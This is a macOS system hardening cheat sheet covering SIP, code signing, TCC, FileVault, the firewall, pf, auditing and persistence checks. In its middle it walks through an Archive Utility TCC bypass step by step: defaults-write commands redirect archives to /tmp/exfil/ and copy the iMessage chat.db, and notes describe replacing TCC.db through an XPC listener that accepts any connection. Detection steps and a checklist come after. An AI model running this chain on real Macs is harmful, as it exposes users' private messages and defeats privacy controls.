macOS System Hardening

# Check SIP status
csrutil status

# Disable (requires boot to Recovery OS — for legitimate dev use only)
# csrutil disable  ← DON'T do in production

# Verify individual protection
ls -laO /System/Library/CoreServices/   # 'restricted' flag

# Check app signature
codesign --verify --verbose=4 /Applications/MyApp.app
codesign -dv --verbose=4 /path/to/binary

# Check notarisation
spctl --assess --verbose /Applications/MyApp.app

# Check quarantine attribute (set by browser/downloader)
xattr -l /path/to/downloaded.app
# com.apple.quarantine: set = app was downloaded

# Remove quarantine (why "allow app from unidentified developer" dialog appears)
xattr -r -d com.apple.quarantine /path/to/app

# Two databases:
# Per-user:  ~/Library/Application Support/com.apple.TCC/TCC.db
# System:    /Library/Application Support/com.apple.TCC/TCC.db

# Schema (simplified):
# SELECT service, client, client_type, auth_value, auth_reason FROM access;
# auth_value: 0=denied, 2=allowed, 3=limited

# List TCC permissions (macOS 13+)
tccutil list

# Reset permission for a specific app
tccutil reset Microphone com.example.app
tccutil reset All com.example.app

# View system TCC db (requires SIP off or Full Disk Access to read directly)
sqlite3 "/Library/Application Support/com.apple.TCC/TCC.db" \
  "SELECT service, client, auth_value FROM access ORDER BY service"

# Archive Utility reads preferences from com.apple.archiveutility.plist
# Key settings:
defaults read com.apple.archiveutility

# archive-format: output format (zip, tar.gz, aar...)
# archive-move-after: where to move the created archive after compression
# expand-destination: where to extract archives

① Archive Utility's unrestricted access to app data containers
        +
② Drag-and-drop com.apple.macl permanent filesystem grant
        +
③ Archive Utility's behavior is fully configurable via plist preferences
        =
        Full TCC bypass + data exfiltration + app hijacking
        with ZERO user-visible permission prompts

# The xattr that grants permanent access:
xattr -p com.apple.macl /path/to/file
# Shows: binary blob representing the granted process

# Attacker's trick: make the user drag a symlink that points to
# com.apple.archiveutility.plist into Terminal
# → Terminal now permanently has access to Archive Utility's preferences

# Step 1: set output format to .aar (Apple Archive — preserves all metadata)
defaults write com.apple.archiveutility archive-format aar

# Step 2: set the destination for newly created archives to attacker-controlled dir
defaults write com.apple.archiveutility archive-move-after /tmp/exfil/

# Step 3: trigger Archive Utility on a target file (no GUI, no prompt)
open -a "Archive Utility" ~/Library/Containers/com.apple.iChat/Data/Library/Messages/chat.db

# Archive Utility compresses the file (with full access) and moves result to /tmp/exfil/
# Attacker now has iMessage chat.db with zero prompts shown to user

au-cp(source, dest):
  1. defaults write archive-move-after = dest
  2. open -a "Archive Utility" source   → creates archive in dest
  3. extract archive → get original file
  4. restore original preferences

<key>com.apple.private.tcc.allow</key>
<array>
    <string>kTCCServiceSystemPolicyAllFiles</string>   ← Full Disk Access, hardcoded
</array>

// Vulnerable implementation:
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)connection {
    return YES;   // accepts ANYONE
}

Exploit 1: Call validateTargetDirectory: → get sandbox extension to any TCC-protected path
Exploit 2: Call moveWithUniquingFrom:into: → physically move/replace TCC.db itself
           → attacker adds any permission to TCC.db
           → effectively grants themselves Full Disk Access, Camera, Microphone, etc.

# Check for unexpected com.apple.archiveutility.plist modifications
stat ~/Library/Preferences/com.apple.archiveutility.plist
# Look for unexpected archive-move-after or archive-format keys:
defaults read com.apple.archiveutility

# Check for com.apple.macl on preference files (should not be present)
xattr ~/Library/Preferences/com.apple.archiveutility.plist

# Look for unexpected Archive Utility processes launched by scripts
# (Sysmon-equivalent: check for Archive Utility parent = bash/zsh/python)

# Check app bundle modification times
stat /Applications/Signal.app/Contents/MacOS/Signal
# compare against known-good date

# File integrity check on app bundles
codesign --verify --strict /Applications/Signal.app
# If hijacked: "code object is not signed at all" or hash mismatch

[ ] Update to macOS 26.4+
[ ] If running older macOS: be extremely suspicious of "Drag Me" prompts in installers
[ ] Audit Archive Utility preferences for unexpected keys:
    defaults read com.apple.archiveutility
[ ] Monitor app bundle modification times (AIDE or similar)
[ ] Verify app signatures after any unexpected system notification:
    codesign --verify --strict /Applications/<App>.app
[ ] Treat any "curl | bash" installer as a red flag requiring source review

# TCC database locations
# System: /Library/Application Support/com.apple.TCC/TCC.db
# User: ~/Library/Application Support/com.apple.TCC/TCC.db

# List TCC permissions (macOS 13+)
tccutil list

# Reset TCC permissions for an app
tccutil reset All com.example.myapp
tccutil reset Microphone

# View system TCC db (requires SIP off or Full Disk Access)
sqlite3 "/Library/Application Support/com.apple.TCC/TCC.db" "SELECT service, client, auth_value FROM access"

# Location
/Library/Apple/System/Library/CoreServices/XProtect.bundle
/Library/Apple/System/Library/CoreServices/MRT.app

# Update signatures (usually automatic via Software Update)
softwareupdate --list  # check for signature updates

# Verify XProtect version
/usr/libexec/xprotect --get-version
defaults read /Library/Apple/System/Library/CoreServices/XProtect.bundle/Contents/Resources/XProtect.meta.plist

# Check FileVault status
fdesetup status

# Enable (interactively)
sudo fdesetup enable

# List recovery key
sudo fdesetup showrecovery -user <username>

# Enable institutional recovery key (for enterprise)
sudo fdesetup enable -keychain /path/to/keychain

# Check via System Information
system_profiler SPHardwareDataType | grep "Secure Boot"

# On Apple Silicon, check via recoveryOS or:
nvram -p | grep security

# Enable Application Firewall (GUI: System Settings → Network → Firewall)
sudo defaults write /Library/Preferences/com.apple.alf globalstate -int 1

# Block all incoming connections (most secure)
sudo defaults write /Library/Preferences/com.apple.alf globalstate -int 2

# Check firewall status
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate

# Enable stealth mode (don't respond to probe packets)
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setstealthmode on

# Allow/block a specific app
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --add /Applications/MyApp.app
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --block /Applications/MyApp.app

# Edit /etc/pf.conf
sudo pfctl -e            # enable
sudo pfctl -f /etc/pf.conf  # reload

# Block all except established outbound + specific inbound
block in all
pass out all keep state
pass in proto tcp from any to any port 22 keep state

# Require password immediately on sleep/screen saver
sudo defaults write /Library/Preferences/com.apple.screensaver askForPassword -int 1
sudo defaults write /Library/Preferences/com.apple.screensaver askForPasswordDelay -int 0

# Set auto-lock timeout (in seconds, 0 = never)
sudo defaults write /Library/Preferences/com.apple.screensaver idleTime -int 300

# Disable auto-login
sudo defaults write /Library/Preferences/com.apple.loginwindow autoLoginUser -string ""
sudo defaults delete /Library/Preferences/com.apple.loginwindow autoLoginUser 2>/dev/null

# Require password to unlock System Preferences
sudo security authorizationdb write system.preferences allow

# Enable secure virtual memory (encrypt swap)
sudo defaults write /Library/Preferences/com.apple.virtualMemory UseEncryptedSwap -bool true

# Show all login items (for security review)
osascript -e 'tell application "System Events" to get the name of every login item'

# macOS uses BSM (Basic Security Module) audit
sudo audit -s    # start
sudo audit -t    # terminate

# Audit configuration: /etc/security/audit_control
# Edit to include:
flags:lo,aa,ex,nt   # login/logout, authentication, exec, network
naflags:lo,aa

# Read audit logs (binary format)
sudo praudit /var/audit/current | head -100

# Filter by event type
sudo praudit -x /var/audit/current | grep -A5 'execve'

# Audit trail location
ls -la /var/audit/

# LaunchAgents (user-level auto-start) — writable by user
~/Library/LaunchAgents/
/Library/LaunchAgents/

# LaunchDaemons (system-level, root required)
/Library/LaunchDaemons/

# Login Items
~/Library/Application Support/com.apple.backgroundtaskmanagementagent/

# Cron (legacy)
/var/at/tabs/<username>

# Shell profiles
~/.zshrc ~/.bash_profile ~/.bashrc ~/.zprofile

# Audit LaunchAgents for suspicious entries
for f in ~/Library/LaunchAgents/*.plist /Library/LaunchAgents/*.plist; do
  echo "=== $f ==="
  plutil -p "$f" | grep -E "ProgramArguments|Label|RunAtLoad"
done

# Disable Diagnostic Data / Analytics sending
sudo defaults write /Library/Application Support/CrashReporter/DiagnosticMessagesHistory.plist AutoSubmit -bool false

# Disable Spotlight suggestions (sends queries to Apple)
sudo mdutil -a -i off  # disable spotlight indexing entirely

# Disable mDNS (network discovery, useful in hardened environments)
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist 2>/dev/null

[ ] FileVault enabled
[ ] Secure Boot: Full Security
[ ] SIP: enabled (csrutil status)
[ ] Application Firewall + stealth mode enabled
[ ] pf rules for inbound control
[ ] Firmware password set (Intel) / Activation Lock (Apple Silicon)
[ ] Auto-login disabled
[ ] Screen lock on sleep + immediate password required
[ ] Remote Login (SSH) disabled unless needed
[ ] Remote Management (ARD) disabled
[ ] Bluetooth off when not needed
[ ] AirDrop: Contacts Only or Off
[ ] Gatekeeper: App Store and identified developers
[ ] Notarisation: enforced (check spctl)
[ ] Find My Mac enabled (for asset tracking/remote wipe)
[ ] Guest account disabled
[ ] Full Disk Access: audit list in Privacy & Security
[ ] XProtect signatures up to date (softwareupdate)
[ ] Launch agents/daemons audited for unknown entries
[ ] TCC permissions audited (tccutil list)
[ ] auditd configured and running
[ ] Encryption of Time Machine backups enabled